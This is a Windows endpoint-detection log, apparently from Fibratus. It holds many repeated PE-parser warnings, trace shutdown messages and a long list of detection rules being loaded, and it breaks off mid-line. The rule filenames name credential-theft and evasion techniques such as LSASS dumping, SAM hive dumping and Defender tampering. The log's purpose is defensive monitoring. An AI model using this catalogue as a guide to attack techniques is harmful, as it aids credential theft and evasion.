+time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:54:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:55:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T11:55:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:55:35+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:55:36+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:55:37+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T14:59:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info 